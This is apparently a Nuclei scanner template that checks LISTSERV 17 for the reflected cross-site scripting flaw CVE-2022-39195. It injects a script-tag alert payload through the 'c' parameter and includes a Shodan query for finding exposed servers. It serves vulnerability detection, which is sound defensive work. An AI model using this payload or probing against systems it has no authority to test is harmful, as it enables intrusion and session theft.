id: CVE-2022-39195 info: name: LISTSERV 17 - Cross-Site Scripting author: arafatansari severity: medium description: | LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the "c" parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/170552/LISTSERV-17-Cross-Site-Scripting.html - https://peach.ease.lsoft.com/scripts/wa-PEACH.exe?A0=LSTSRV-L - https://packetstormsecurity.com/2301-exploits/listserv17-xss.txt - https://nvd.nist.gov/vuln/detail/CVE-2022-39195 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-39195 cwe-id: CWE-79 epss-score: 0.00132 epss-percentile: 0.48165 cpe: cpe:2.3:a:lsoft:listserv:17.0:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: lsoft product: listserv shodan-query: http.html:"LISTSERV" tags: cve,cve2022,xss,listserv,packetstorm http: - method: GET path: - "{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E" - "{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E" stop-at-first-match: true matchers-condition: and matchers: - type: word words: - "" - "LISTSERV" case-insensitive: true condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a004730450220618d12cef757fe47fab6bae99bc3fa5c4338b93713a7bb974df29dcecd107750022100b9da500af5ce3793983b3b3b3eee4eb2a936e9e899bfe5e8a461ef2f6e73b10c:922c64590222798bb761d5b6d8e72950